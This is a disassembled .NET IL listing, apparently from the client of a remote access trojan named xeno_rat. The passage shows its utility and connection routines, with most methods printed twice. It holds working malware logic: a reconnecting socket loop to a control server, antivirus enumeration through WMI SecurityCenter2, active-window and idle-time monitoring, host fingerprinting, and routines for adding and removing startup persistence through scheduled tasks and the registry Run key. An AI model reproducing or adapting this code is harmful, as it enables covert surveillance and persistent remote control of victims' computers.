00005a15ldc.i4.m1
00005a16dup
00005a17stloc.0
00005a18stfld <>1__state
00005a1dldloca.s 6
00005a1fcall GetResult
00005a24stsfld Server
00005a29ldsfld Server
00005a2eldsfld dllhandler
00005a33newobj .ctor
00005a38callvirt Type0Receive
00005a3dcallvirt GetAwaiter
00005a42stloc.s 4
00005a44ldloca.s 4
00005a46call get_IsCompleted
00005a4bbrtrue.s IL_03e2
00005a4dldarg.0
00005a4eldc.i4.5
00005a4fdup
00005a50stloc.0
00005a51stfld <>1__state
00005a56ldarg.0
00005a57ldloc.s 4
00005a59stfld <>u__1
00005a5eldarg.0
00005a5fldflda <>t__builder
00005a64ldloca.s 4
00005a66ldarg.0
00005a67call 0x2B00003A
00005a6cleave IL_04d4
00005a71ldarg.0
00005a72ldfld <>u__1
00005a77stloc.s 4
00005a79ldarg.0
00005a7aldflda <>u__1
00005a7finitobj System.Runtime.CompilerServices.TaskAwaiter
00005a85ldarg.0
00005a86ldc.i4.m1
00005a87dup
00005a88stloc.0
00005a89stfld <>1__state
00005a8eldloca.s 4
00005a90call GetResult
00005a95ldarg.0
00005a96ldnull
00005a97stfld <socket>5__4
00005a9cleave.s IL_0405
00005a9estloc.s 7
00005aa0ldarg.0
00005aa1ldloc.s 7
00005aa3stfld <>7__wrap1
00005aa8ldarg.0
00005aa9ldc.i4.1
00005aaastfld <>7__wrap2
00005aafleave.s IL_0405
00005ab1ldarg.0
00005ab2ldfld <>7__wrap2
00005ab7stloc.s 8
00005ab9ldloc.s 8
00005abbldc.i4.1
00005abcbne.un IL_049c
00005ac1ldarg.0
00005ac2ldarg.0
00005ac3ldfld <>7__wrap1
00005ac8castclass System.Exception
00005acdstfld <e>5__5
00005ad2ldc.i4 10000
00005ad7call Delay
00005adccallvirt GetAwaiter
00005ae1stloc.s 4
00005ae3ldloca.s 4
00005ae5call get_IsCompleted
00005aeabrtrue.s IL_047e
00005aecldarg.0
00005aedldc.i4.6
00005aeedup
00005aefstloc.0
00005af0stfld <>1__state
00005af5ldarg.0
00005af6ldloc.s 4
00005af8stfld <>u__1
00005afdldarg.0
00005afeldflda <>t__builder
00005b03ldloca.s 4
00005b05ldarg.0
00005b06call 0x2B00003A
00005b0bleave.s IL_04d4
00005b0dldarg.0
00005b0eldfld <>u__1
00005b13stloc.s 4
00005b15ldarg.0
00005b16ldflda <>u__1
00005b1binitobj System.Runtime.CompilerServices.TaskAwaiter
00005b21ldarg.0
00005b22ldc.i4.m1
00005b23dup
00005b24stloc.0
00005b25stfld <>1__state
00005b2aldloca.s 4
00005b2ccall GetResult
00005b31ldarg.0
00005b32ldfld <e>5__5
00005b37callvirt get_Message
00005b3ccall WriteLine
00005b41ldarg.0
00005b42ldnull
00005b43stfld <e>5__5
00005b48ldarg.0
00005b49ldnull
00005b4astfld <>7__wrap1
00005b4fbr IL_026b
00005b54stloc.s 9
00005b56ldarg.0
00005b57ldc.i4.s -2
00005b59stfld <>1__state
00005b5eldarg.0
00005b5fldflda <>t__builder
00005b64ldloc.s 9
00005b66call SetException
00005b6bleave.s IL_04d4
00005b6dldarg.0
00005b6eldc.i4.s -2
00005b70stfld <>1__state
00005b75ldarg.0
00005b76ldflda <>t__builder
00005b7bcall SetResult
00005b80ret
000056ac
00005bdc
00005bdcxeno_rat_client.Utils::GetCaptionOfActiveWindowAsync:
00005bdcldloca.s 0
00005bdecall Create
00005be3stfld <>t__builder
00005be8ldloca.s 0
00005bealdc.i4.m1
00005bebstfld <>1__state
00005bf0ldloca.s 0
00005bf2ldflda <>t__builder
00005bf7ldloca.s 0
00005bf9call 0x2B00003D
00005bfeldloca.s 0
00005c00ldflda <>t__builder
00005c05call get_Task
00005c0aret
00005bdc
00005bdcxeno_rat_client.Utils::GetCaptionOfActiveWindowAsync:
00005bdcldloca.s 0
00005bdecall Create
00005be3stfld <>t__builder
00005be8ldloca.s 0
00005bealdc.i4.m1
00005bebstfld <>1__state
00005bf0ldloca.s 0
00005bf2ldflda <>t__builder
00005bf7ldloca.s 0
00005bf9call 0x2B00003D
00005bfeldloca.s 0
00005c00ldflda <>t__builder
00005c05call get_Task
00005c0aret
00005bdc
00005c18
00005c18xeno_rat_client.Utils::GetCaptionOfActiveWindow:
00005c18ldsfld Empty
00005c1dstloc.0
00005c1ecall GetForegroundWindow
00005c23stloc.1
00005c24ldloc.1
00005c25call GetWindowTextLength
00005c2aldc.i4.1
00005c2badd
00005c2cstloc.2
00005c2dldloc.2
00005c2enewobj .ctor
00005c33stloc.3
00005c34ldloc.1
00005c35ldloc.3
00005c36ldloc.2
00005c37call GetWindowText
00005c3cldc.i4.0
00005c3dble.s IL_002e
00005c3fldloc.3
00005c40callvirt ToString
00005c45stloc.0
00005c46nop
00005c47ldloc.1
00005c48ldloca.s 4
00005c4acall GetWindowThreadProcessId
00005c4fpop
00005c50ldloc.s 4
00005c52call GetProcessById
00005c57stloc.s 5
00005c59ldloc.0
00005c5aldstr ""
00005c5fcall op_Equality
00005c64brfalse.s IL_0058
00005c66ldloc.s 5
00005c68callvirt get_ProcessName
00005c6dstloc.0
00005c6ebr.s IL_006b
00005c70ldloc.s 5
00005c72callvirt get_ProcessName
00005c77ldstr " - "
00005c7cldloc.0
00005c7dcall Concat
00005c82stloc.0
00005c83ldloc.s 5
00005c85callvirt Dispose
00005c8aleave.s IL_0077
00005c8cpop
00005c8dleave.s IL_0077
00005c8fldloc.0
00005c90ret
00005c18
00005c18xeno_rat_client.Utils::GetCaptionOfActiveWindow:
00005c18ldsfld Empty
00005c1dstloc.0
00005c1ecall GetForegroundWindow
00005c23stloc.1
00005c24ldloc.1
00005c25call GetWindowTextLength
00005c2aldc.i4.1
00005c2badd
00005c2cstloc.2
00005c2dldloc.2
00005c2enewobj .ctor
00005c33stloc.3
00005c34ldloc.1
00005c35ldloc.3
00005c36ldloc.2
00005c37call GetWindowText
00005c3cldc.i4.0
00005c3dble.s IL_002e
00005c3fldloc.3
00005c40callvirt ToString
00005c45stloc.0
00005c46nop
00005c47ldloc.1
00005c48ldloca.s 4
00005c4acall GetWindowThreadProcessId
00005c4fpop
00005c50ldloc.s 4
00005c52call GetProcessById
00005c57stloc.s 5
00005c59ldloc.0
00005c5aldstr ""
00005c5fcall op_Equality
00005c64brfalse.s IL_0058
00005c66ldloc.s 5
00005c68callvirt get_ProcessName
00005c6dstloc.0
00005c6ebr.s IL_006b
00005c70ldloc.s 5
00005c72callvirt get_ProcessName
00005c77ldstr " - "
00005c7cldloc.0
00005c7dcall Concat
00005c82stloc.0
00005c83ldloc.s 5
00005c85callvirt Dispose
00005c8aleave.s IL_0077
00005c8cpop
00005c8dleave.s IL_0077
00005c8fldloc.0
00005c90ret
00005c18
00005cb0
00005cb0xeno_rat_client.Utils::IsAdmin:
00005cb0ldc.i4.0
00005cb1stloc.0
00005cb2call IsUserAnAdmin
00005cb7stloc.0
00005cb8leave.s IL_000d
00005cbapop
00005cbbleave.s IL_000d
00005cbdldloc.0
00005cberet
00005cb0
00005cb0xeno_rat_client.Utils::IsAdmin:
00005cb0ldc.i4.0
00005cb1stloc.0
00005cb2call IsUserAnAdmin
00005cb7stloc.0
00005cb8leave.s IL_000d
00005cbapop
00005cbbleave.s IL_000d
00005cbdldloc.0
00005cberet
00005cb0
00005cdc
00005cdcxeno_rat_client.Utils::GetAntivirus:
00005cdcnewobj .ctor
00005ce1stloc.0
00005ce2ldstr "\\\\"
00005ce7call get_MachineName
00005cecldstr "\\root\\SecurityCenter2"
00005cf1call Concat
00005cf6ldstr "SELECT * FROM AntivirusProduct"
00005cfbnewobj .ctor
00005d00stloc.1
00005d01ldloc.1
00005d02callvirt Get
00005d07callvirt GetEnumerator
00005d0cstloc.2
00005d0dbr.s IL_005f
00005d0fldloc.2
00005d10callvirt get_Current
00005d15dup
00005d16ldstr "displayName"
00005d1bcallvirt GetPropertyValue
00005d20callvirt ToString
00005d25stloc.3
00005d26ldloc.0
00005d27ldloc.3
00005d28callvirt Contains
00005d2dbrtrue.s IL_005a
00005d2fldloc.0
00005d30ldloc.3
00005d31callvirt Add
00005d36callvirt Dispose
00005d3bldloc.2
00005d3ccallvirt MoveNext
00005d41brtrue.s IL_0033
00005d43leave.s IL_0073
00005d45ldloc.2
00005d46brfalse.s IL_0072
00005d48ldloc.2
00005d49callvirt Dispose
00005d4eendfinally
00005d4fldloc.0
00005d50callvirt get_Count
00005d55brtrue.s IL_0086
00005d57ldloc.0
00005d58ldstr "N/A"
00005d5dcallvirt Add
00005d62leave.s IL_0092
00005d64ldloc.1
00005d65brfalse.s IL_0091
00005d67ldloc.1
00005d68callvirt Dispose
00005d6dendfinally
00005d6eldstr ", "
00005d73ldloc.0
00005d74call Join
00005d79stloc.s 4
00005d7bleave.s IL_00c4
00005d7dpop
00005d7eldloc.0
00005d7fcallvirt get_Count
00005d84brtrue.s IL_00b5
00005d86ldloc.0
00005d87ldstr "N/A"
00005d8ccallvirt Add
00005d91ldstr ", "
00005d96ldloc.0
00005d97call Join
00005d9cstloc.s 4
00005d9eleave.s IL_00c4
00005da0ldloc.s 4
00005da2ret
00005cdc
00005cdcxeno_rat_client.Utils::GetAntivirus:
00005cdcnewobj .ctor
00005ce1stloc.0
00005ce2ldstr "\\\\"
00005ce7call get_MachineName
00005cecldstr "\\root\\SecurityCenter2"
00005cf1call Concat
00005cf6ldstr "SELECT * FROM AntivirusProduct"
00005cfbnewobj .ctor
00005d00stloc.1
00005d01ldloc.1
00005d02callvirt Get
00005d07callvirt GetEnumerator
00005d0cstloc.2
00005d0dbr.s IL_005f
00005d0fldloc.2
00005d10callvirt get_Current
00005d15dup
00005d16ldstr "displayName"
00005d1bcallvirt GetPropertyValue
00005d20callvirt ToString
00005d25stloc.3
00005d26ldloc.0
00005d27ldloc.3
00005d28callvirt Contains
00005d2dbrtrue.s IL_005a
00005d2fldloc.0
00005d30ldloc.3
00005d31callvirt Add
00005d36callvirt Dispose
00005d3bldloc.2
00005d3ccallvirt MoveNext
00005d41brtrue.s IL_0033
00005d43leave.s IL_0073
00005d45ldloc.2
00005d46brfalse.s IL_0072
00005d48ldloc.2
00005d49callvirt Dispose
00005d4eendfinally
00005d4fldloc.0
00005d50callvirt get_Count
00005d55brtrue.s IL_0086
00005d57ldloc.0
00005d58ldstr "N/A"
00005d5dcallvirt Add
00005d62leave.s IL_0092
00005d64ldloc.1
00005d65brfalse.s IL_0091
00005d67ldloc.1
00005d68callvirt Dispose
00005d6dendfinally
00005d6eldstr ", "
00005d73ldloc.0
00005d74call Join
00005d79stloc.s 4
00005d7bleave.s IL_00c4
00005d7dpop
00005d7eldloc.0
00005d7fcallvirt get_Count
00005d84brtrue.s IL_00b5
00005d86ldloc.0
00005d87ldstr "N/A"
00005d8ccallvirt Add
00005d91ldstr ", "
00005d96ldloc.0
00005d97call Join
00005d9cstloc.s 4
00005d9eleave.s IL_00c4
00005da0ldloc.s 4
00005da2ret
00005cdc
00005dd8
00005dd8xeno_rat_client.Utils::GetWindowsVersion:
00005dd8ldstr ""
00005dddstloc.0
00005ddeldstr "SELECT * FROM Win32_OperatingSystem"
00005de3newobj .ctor
00005de8stloc.1
00005de9ldloc.1
00005deacallvirt Get
00005defstloc.2
00005df0ldloc.2
00005df1brfalse.s IL_0078
00005df3ldloc.2
00005df4callvirt GetEnumerator
00005df9stloc.3
00005dfabr.s IL_005e
00005dfcldloc.3
00005dfdcallvirt get_Current
00005e02castclass System.Management.ManagementObject
00005e07stloc.s 4
00005e09ldloc.s 4
00005e0bldstr "Caption"
00005e10callvirt get_Item
00005e15callvirt ToString
00005e1aldstr " - "
00005e1fldloc.s 4
00005e21ldstr "OSArchitecture"
00005e26callvirt get_Item
00005e2bcallvirt ToString
00005e30call Concat
00005e35stloc.0
00005e36ldloc.3
00005e37callvirt MoveNext
00005e3cbrtrue.s IL_0024
00005e3eleave.s IL_0072
00005e40ldloc.3
00005e41brfalse.s IL_0071
00005e43ldloc.3
00005e44callvirt Dispose
00005e49endfinally
00005e4aldloc.2
00005e4bcallvirt Dispose
00005e50leave.s IL_0084
00005e52ldloc.1
00005e53brfalse.s IL_0083
00005e55ldloc.1
00005e56callvirt Dispose
00005e5bendfinally
00005e5cldloc.0
00005e5dret
00005dd8
00005dd8xeno_rat_client.Utils::GetWindowsVersion:
00005dd8ldstr ""
00005dddstloc.0
00005ddeldstr "SELECT * FROM Win32_OperatingSystem"
00005de3newobj .ctor
00005de8stloc.1
00005de9ldloc.1
00005deacallvirt Get
00005defstloc.2
00005df0ldloc.2
00005df1brfalse.s IL_0078
00005df3ldloc.2
00005df4callvirt GetEnumerator
00005df9stloc.3
00005dfabr.s IL_005e
00005dfcldloc.3
00005dfdcallvirt get_Current
00005e02castclass System.Management.ManagementObject
00005e07stloc.s 4
00005e09ldloc.s 4
00005e0bldstr "Caption"
00005e10callvirt get_Item
00005e15callvirt ToString
00005e1aldstr " - "
00005e1fldloc.s 4
00005e21ldstr "OSArchitecture"
00005e26callvirt get_Item
00005e2bcallvirt ToString
00005e30call Concat
00005e35stloc.0
00005e36ldloc.3
00005e37callvirt MoveNext
00005e3cbrtrue.s IL_0024
00005e3eleave.s IL_0072
00005e40ldloc.3
00005e41brfalse.s IL_0071
00005e43ldloc.3
00005e44callvirt Dispose
00005e49endfinally
00005e4aldloc.2
00005e4bcallvirt Dispose
00005e50leave.s IL_0084
00005e52ldloc.1
00005e53brfalse.s IL_0083
00005e55ldloc.1
00005e56callvirt Dispose
00005e5bendfinally
00005e5cldloc.0
00005e5dret
00005dd8
00005e88
00005e88xeno_rat_client.Utils::HWID:
00005e88ldc.i4.5
00005e89newarr System.Object
00005e8edup
00005e8fldc.i4.0
00005e90call get_ProcessorCount
00005e95box System.Int32
00005e9astelem.ref
00005e9bdup
00005e9cldc.i4.1
00005e9dcall get_UserName
00005ea2stelem.ref
00005ea3dup
00005ea4ldc.i4.2
00005ea5call get_MachineName
00005eaastelem.ref
00005eabdup
00005eacldc.i4.3
00005eadcall get_OSVersion
00005eb2stelem.ref
00005eb3dup
00005eb4ldc.i4.4
00005eb5call get_SystemDirectory
00005ebacall GetPathRoot
00005ebfnewobj .ctor
00005ec4call get_TotalSize
00005ec9box System.Int64
00005ecestelem.ref
00005ecfcall Concat
00005ed4call GetHash
00005ed9stloc.0
00005edaleave.s IL_005d
00005edcpop
00005eddldstr "UNKNOWN"
00005ee2stloc.0
00005ee3leave.s IL_005d
00005ee5ldloc.0
00005ee6ret
00005e88
00005e88xeno_rat_client.Utils::HWID:
00005e88ldc.i4.5
00005e89newarr System.Object
00005e8edup
00005e8fldc.i4.0
00005e90call get_ProcessorCount
00005e95box System.Int32
00005e9astelem.ref
00005e9bdup
00005e9cldc.i4.1
00005e9dcall get_UserName
00005ea2stelem.ref
00005ea3dup
00005ea4ldc.i4.2
00005ea5call get_MachineName
00005eaastelem.ref
00005eabdup
00005eacldc.i4.3
00005eadcall get_OSVersion
00005eb2stelem.ref
00005eb3dup
00005eb4ldc.i4.4
00005eb5call get_SystemDirectory
00005ebacall GetPathRoot
00005ebfnewobj .ctor
00005ec4call get_TotalSize
00005ec9box System.Int64
00005ecestelem.ref
00005ecfcall Concat
00005ed4call GetHash
00005ed9stloc.0
00005edaleave.s IL_005d
00005edcpop
00005eddldstr "UNKNOWN"
00005ee2stloc.0
00005ee3leave.s IL_005d
00005ee5ldloc.0
00005ee6ret
00005e88
00005f04
00005f04xeno_rat_client.Utils::GetHash:
00005f04newobj .ctor
00005f09call get_ASCII
00005f0eldarg.0
00005f0fcallvirt GetBytes
00005f14stloc.0
00005f15ldloc.0
00005f16callvirt ComputeHash
00005f1bstloc.0
00005f1cnewobj .ctor
00005f21stloc.1
00005f22ldloc.0
00005f23stloc.2
00005f24ldc.i4.0
00005f25stloc.3
00005f26br.s IL_0040
00005f28ldloc.2
00005f29ldloc.3
00005f2aldelem.u1
00005f2bstloc.s 4
00005f2dldloc.1
00005f2eldloca.s 4
00005f30ldstr "x2"
00005f35call ToString
00005f3acallvirt Append
00005f3fpop
00005f40ldloc.3
00005f41ldc.i4.1
00005f42add
00005f43stloc.3
00005f44ldloc.3
00005f45ldloc.2
00005f46ldlen
00005f47conv.i4
00005f48blt.s IL_0024
00005f4aldloc.1
00005f4bcallvirt ToString
00005f50ldc.i4.0
00005f51ldc.i4.s 20
00005f53callvirt Substring
00005f58callvirt ToUpper
00005f5dret
00005f04
00005f04xeno_rat_client.Utils::GetHash:
00005f04newobj .ctor
00005f09call get_ASCII
00005f0eldarg.0
00005f0fcallvirt GetBytes
00005f14stloc.0
00005f15ldloc.0
00005f16callvirt ComputeHash
00005f1bstloc.0
00005f1cnewobj .ctor
00005f21stloc.1
00005f22ldloc.0
00005f23stloc.2
00005f24ldc.i4.0
00005f25stloc.3
00005f26br.s IL_0040
00005f28ldloc.2
00005f29ldloc.3
00005f2aldelem.u1
00005f2bstloc.s 4
00005f2dldloc.1
00005f2eldloca.s 4
00005f30ldstr "x2"
00005f35call ToString
00005f3acallvirt Append
00005f3fpop
00005f40ldloc.3
00005f41ldc.i4.1
00005f42add
00005f43stloc.3
00005f44ldloc.3
00005f45ldloc.2
00005f46ldlen
00005f47conv.i4
00005f48blt.s IL_0024
00005f4aldloc.1
00005f4bcallvirt ToString
00005f50ldc.i4.0
00005f51ldc.i4.s 20
00005f53callvirt Substring
00005f58callvirt ToUpper
00005f5dret
00005f04
00005f6c
00005f6cxeno_rat_client.Utils::ConnectAndSetupAsync:
00005f6cldloca.s 0
00005f6ecall Create
00005f73stfld <>t__builder
00005f78ldloca.s 0
00005f7aldarg.0
00005f7bstfld sock
00005f80ldloca.s 0
00005f82ldarg.1
00005f83stfld key
00005f88ldloca.s 0
00005f8aldarg.2
00005f8bstfld type
00005f90ldloca.s 0
00005f92ldarg.3
00005f93stfld ID
00005f98ldloca.s 0
00005f9aldarg.s 4
00005f9cstfld OnDisconnect
00005fa1ldloca.s 0
00005fa3ldc.i4.m1
00005fa4stfld <>1__state
00005fa9ldloca.s 0
00005fabldflda <>t__builder
00005fb0ldloca.s 0
00005fb2call 0x2B00003E
00005fb7ldloca.s 0
00005fb9ldflda <>t__builder
00005fbecall get_Task
00005fc3ret
00005f6c
00005f6cxeno_rat_client.Utils::ConnectAndSetupAsync:
00005f6cldloca.s 0
00005f6ecall Create
00005f73stfld <>t__builder
00005f78ldloca.s 0
00005f7aldarg.0
00005f7bstfld sock
00005f80ldloca.s 0
00005f82ldarg.1
00005f83stfld key
00005f88ldloca.s 0
00005f8aldarg.2
00005f8bstfld type
00005f90ldloca.s 0
00005f92ldarg.3
00005f93stfld ID
00005f98ldloca.s 0
00005f9aldarg.s 4
00005f9cstfld OnDisconnect
00005fa1ldloca.s 0
00005fa3ldc.i4.m1
00005fa4stfld <>1__state
00005fa9ldloca.s 0
00005fabldflda <>t__builder
00005fb0ldloca.s 0
00005fb2call 0x2B00003E
00005fb7ldloca.s 0
00005fb9ldflda <>t__builder
00005fbecall get_Task
00005fc3ret
00005f6c
00005fd0
00005fd0xeno_rat_client.Utils::RemoveStartup:
00005fd0ldloca.s 0
00005fd2call Create
00005fd7stfld <>t__builder
00005fdcldloca.s 0
00005fdeldarg.0
00005fdfstfld executablePath
00005fe4ldloca.s 0
00005fe6ldc.i4.m1
00005fe7stfld <>1__state
00005fecldloca.s 0
00005feeldflda <>t__builder
00005ff3ldloca.s 0
00005ff5call 0x2B00003F
00005ffaldloca.s 0
00005ffcldflda <>t__builder
00006001call get_Task
00006006ret
00005fd0
00005fd0xeno_rat_client.Utils::RemoveStartup:
00005fd0ldloca.s 0
00005fd2call Create
00005fd7stfld <>t__builder
00005fdcldloca.s 0
00005fdeldarg.0
00005fdfstfld executablePath
00005fe4ldloca.s 0
00005fe6ldc.i4.m1
00005fe7stfld <>1__state
00005fecldloca.s 0
00005feeldflda <>t__builder
00005ff3ldloca.s 0
00005ff5call 0x2B00003F
00005ffaldloca.s 0
00005ffcldflda <>t__builder
00006001call get_Task
00006006ret
00005fd0
00006014
00006014xeno_rat_client.Utils::Uninstall:
00006014ldloca.s 0
00006016call Create
0000601bstfld <>t__builder
00006020ldloca.s 0
00006022ldc.i4.m1
00006023stfld <>1__state
00006028ldloca.s 0
0000602aldflda <>t__builder
0000602fldloca.s 0
00006031call 0x2B000040
00006036ldloca.s 0
00006038ldflda <>t__builder
0000603dcall get_Task
00006042ret
00006014
00006014xeno_rat_client.Utils::Uninstall:
00006014ldloca.s 0
00006016call Create
0000601bstfld <>t__builder
00006020ldloca.s 0
00006022ldc.i4.m1
00006023stfld <>1__state
00006028ldloca.s 0
0000602aldflda <>t__builder
0000602fldloca.s 0
00006031call 0x2B000040
00006036ldloca.s 0
00006038ldflda <>t__builder
0000603dcall get_Task
00006042ret
00006014
00006050
00006050xeno_rat_client.Utils::AddToStartupNonAdmin:
00006050ldloca.s 0
00006052call Create
00006057stfld <>t__builder
0000605cldloca.s 0
0000605eldarg.0
0000605fstfld executablePath
00006064ldloca.s 0
00006066ldarg.1
00006067stfld name
0000606cldloca.s 0
0000606eldc.i4.m1
0000606fstfld <>1__state
00006074ldloca.s 0
00006076ldflda <>t__builder
0000607bldloca.s 0
0000607dcall 0x2B000041
00006082ldloca.s 0
00006084ldflda <>t__builder
00006089call get_Task
0000608eret
00006050
00006050xeno_rat_client.Utils::AddToStartupNonAdmin:
00006050ldloca.s 0
00006052call Create
00006057stfld <>t__builder
0000605cldloca.s 0
0000605eldarg.0
0000605fstfld executablePath
00006064ldloca.s 0
00006066ldarg.1
00006067stfld name
0000606cldloca.s 0
0000606eldc.i4.m1
0000606fstfld <>1__state
00006074ldloca.s 0
00006076ldflda <>t__builder
0000607bldloca.s 0
0000607dcall 0x2B000041
00006082ldloca.s 0
00006084ldflda <>t__builder
00006089call get_Task
0000608eret
00006050
0000609c
0000609cxeno_rat_client.Utils::AddToStartupAdmin:
0000609cldloca.s 0
0000609ecall Create
000060a3stfld <>t__builder
000060a8ldloca.s 0
000060aaldarg.0
000060abstfld executablePath
000060b0ldloca.s 0
000060b2ldarg.1
000060b3stfld name
000060b8ldloca.s 0
000060baldc.i4.m1
000060bbstfld <>1__state
000060c0ldloca.s 0
000060c2ldflda <>t__builder
000060c7ldloca.s 0
000060c9call 0x2B000042
000060celdloca.s 0
000060d0ldflda <>t__builder
000060d5call get_Task
000060daret
0000609c
0000609cxeno_rat_client.Utils::AddToStartupAdmin:
0000609cldloca.s 0
0000609ecall Create
000060a3stfld <>t__builder
000060a8ldloca.s 0
000060aaldarg.0
000060abstfld executablePath
000060b0ldloca.s 0
000060b2ldarg.1
000060b3stfld name
000060b8ldloca.s 0
000060baldc.i4.m1
000060bbstfld <>1__state
000060c0ldloca.s 0
000060c2ldflda <>t__builder
000060c7ldloca.s 0
000060c9call 0x2B000042
000060celdloca.s 0
000060d0ldflda <>t__builder
000060d5call get_Task
000060daret
0000609c
000060e8
000060e8xeno_rat_client.Utils::GetIdleTimeAsync:
000060e8ldloca.s 0
000060eacall Create
000060efstfld <>t__builder
000060f4ldloca.s 0
000060f6ldc.i4.m1
000060f7stfld <>1__state
000060fcldloca.s 0
000060feldflda <>t__builder
00006103ldloca.s 0
00006105call 0x2B000043
0000610aldloca.s 0
0000610cldflda <>t__builder
00006111call get_Task
00006116ret
000060e8
000060e8xeno_rat_client.Utils::GetIdleTimeAsync:
000060e8ldloca.s 0
000060eacall Create
000060efstfld <>t__builder
000060f4ldloca.s 0
000060f6ldc.i4.m1
000060f7stfld <>1__state
000060fcldloca.s 0
000060feldflda <>t__builder
00006103ldloca.s 0
00006105call 0x2B000043
0000610aldloca.s 0
0000610cldflda <>t__builder
00006111call get_Task
00006116ret
000060e8
00006124
00006124xeno_rat_client.Utils::GetIdleTime:
00006124ldloca.s 0
00006126initobj LASTINPUTINFO
0000612cldloca.s 0
0000612eldloc.0
0000612fcall 0x2B000044
00006134stfld cbSize
00006139ldloca.s 0
0000613bcall GetLastInputInfo
00006140pop
00006141call get_TickCount
00006146ldloc.0
00006147ldfld dwTime
0000614csub
0000614dret
00006124
00006124xeno_rat_client.Utils::GetIdleTime:
00006124ldloca.s 0
00006126initobj LASTINPUTINFO
0000612cldloca.s 0
0000612eldloc.0
0000612fcall 0x2B000044
00006134stfld cbSize
00006139ldloca.s 0
0000613bcall GetLastInputInfo
00006140pop
00006141call get_TickCount
00006146ldloc.0
00006147ldfld dwTime
0000614csub
0000614dret
00006124
0000615c
0000615c<>c__DisplayClass16_0::<RemoveStartup>b__0:
0000615ccall IsAdmin
00006161brfalse IL_01d8
00006166newobj .ctor
0000616bstloc.1
0000616cldloc.1
0000616dcallvirt get_StartInfo
00006172ldstr "schtasks.exe"
00006177callvirt set_FileName
0000617cldloc.1
0000617dcallvirt get_StartInfo
00006182ldstr "/query /v /fo csv"
00006187callvirt set_Arguments
0000618cldloc.1
0000618dcallvirt get_StartInfo
00006192ldc.i4.0
00006193callvirt set_UseShellExecute
00006198ldloc.1
00006199callvirt get_StartInfo
0000619eldc.i4.1
0000619fcallvirt set_RedirectStandardOutput
000061a4ldloc.1
000061a5callvirt get_StartInfo
000061aaldc.i4.1
000061abcallvirt set_CreateNoWindow
000061b0ldloc.1
000061b1callvirt Start
000061b6pop
000061b7ldloc.1
000061b8callvirt get_StandardOutput
000061bdcallvirt ReadToEnd
000061c2stloc.2
000061c3ldloc.1
000061c4callvirt WaitForExit
000061c9leave.s IL_0072
000061cbpop
000061ccleave.s IL_0072
000061celdloc.1
000061cfcallvirt Dispose
000061d4ldloc.2
000061d5ldc.i4.1
000061d6newarr System.Char
000061dbdup
000061dcldc.i4.0
000061ddldc.i4.s 10
000061dfstelem.i2
000061e0callvirt Split
000061e5stloc.3
000061e6ldloc.3
000061e7ldlen
000061e8conv.i4
000061e9ldc.i4.1
000061eable IL_01d3
000061efldloc.3
000061f0ldc.i4.0
000061f1ldelem.ref
000061f2ldstr "\""
000061f7ldstr ""
000061fccallvirt Replace
00006201ldc.i4.1
00006202newarr System.Char
00006207dup
00006208ldc.i4.0
00006209ldc.i4.s 44
0000620bstelem.i2
0000620ccallvirt Split
00006211call 0x2B000045
00006216stloc.s 4
00006218ldloc.s 4
0000621aldstr "TaskName"
0000621fcallvirt IndexOf
00006224stloc.s 5
00006226ldloc.s 4
00006228ldstr "Task To Run"
0000622dcallvirt IndexOf
00006232stloc.s 6
00006234ldloc.3
00006235stloc.s 7
00006237ldc.i4.0
00006238stloc.s 8
0000623abr IL_01c8
0000623fldloc.s 7
00006241ldloc.s 8
00006243ldelem.ref
00006244ldc.i4.1
00006245newarr System.String
0000624adup
0000624bldc.i4.0
0000624cldstr "\",\""
00006251stelem.ref
00006252ldc.i4.0
00006253callvirt Split
00006258stloc.s 9
0000625aldloc.s 4
0000625ccallvirt get_Count
00006261ldloc.s 9
00006263ldlen
00006264conv.i4
00006265bne.un IL_01c2
0000626aldloc.s 5
0000626cldc.i4.m1
0000626dbeq IL_01c2
00006272ldloc.s 6
00006274ldc.i4.m1
00006275beq IL_01c2
0000627aldloc.s 9
0000627cldloc.s 6
0000627eldelem.ref
0000627fldstr "\""
00006284ldstr ""
00006289callvirt Replace
0000628ecallvirt Trim
00006293ldarg.0
00006294ldfld executablePath
00006299call op_Equality
0000629ebrfalse.s IL_01c2
000062a0newobj .ctor
000062a5stloc.s 10
000062a7ldloc.s 10
000062a9callvirt get_StartInfo
000062aeldstr "schtasks.exe"
000062b3callvirt set_FileName
000062b8ldloc.s 10
000062bacallvirt get_StartInfo
000062bfldstr "/delete /tn \""
000062c4ldloc.s 9
000062c6ldloc.s 5
000062c8ldelem.ref
000062c9ldstr "\" /f"
000062cecall Concat
000062d3callvirt set_Arguments
000062d8ldloc.s 10
000062dacallvirt get_StartInfo
000062dfldc.i4.0
000062e0callvirt set_UseShellExecute
000062e5ldloc.s 10
000062e7callvirt get_StartInfo
000062ecldc.i4.1
000062edcallvirt set_RedirectStandardOutput
000062f2ldloc.s 10
000062f4callvirt get_StartInfo
000062f9ldc.i4.1
000062facallvirt set_CreateNoWindow
000062ffldloc.s 10
00006301callvirt Start
00006306pop
00006307ldloc.s 10
00006309callvirt WaitForExit
0000630eleave.s IL_01b7
00006310pop
00006311leave.s IL_01b7
00006313ldloc.1
00006314callvirt Dispose
00006319leave.s IL_01c2
0000631bpop
0000631cleave.s IL_01c2
0000631eldloc.s 8
00006320ldc.i4.1
00006321add
00006322stloc.s 8
00006324ldloc.s 8
00006326ldloc.s 7
00006328ldlen
00006329conv.i4
0000632ablt IL_00e3
0000632fleave.s IL_01d8
00006331pop
00006332leave.s IL_01d8
00006334ldstr "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
00006339stloc.0
0000633aldc.i4 -2147483647
0000633fldc.i4 256
00006344call OpenBaseKey
00006349ldloc.0
0000634aldc.i4.1
0000634bcallvirt OpenSubKey
00006350stloc.s 11
00006352ldloc.s 11
00006354callvirt GetValueNames
00006359stloc.s 7
0000635bldc.i4.0
0000635cstloc.s 8
0000635ebr.s IL_0249
00006360ldloc.s 7
00006362ldloc.s 8
00006364ldelem.ref
00006365stloc.s 12
00006367ldloc.s 11
00006369ldloc.s 12
0000636bcallvirt GetValue
00006370callvirt ToString
00006375ldstr "\""
0000637aldstr ""
0000637fcallvirt Replace
00006384callvirt Trim
00006389ldarg.0
0000638aldfld executablePath
0000638fcall op_Equality
00006394brfalse.s IL_0243
00006396ldloc.s 11
00006398ldloc.s 12
0000639acallvirt DeleteValue
0000639fldloc.s 8
000063a1ldc.i4.1
000063a2add
000063a3stloc.s 8
000063a5ldloc.s 8
000063a7ldloc.s 7
000063a9ldlen
000063aaconv.i4
000063abblt.s IL_0204
000063adleave.s IL_025f
000063afldloc.s 11
000063b1brfalse.s IL_025e
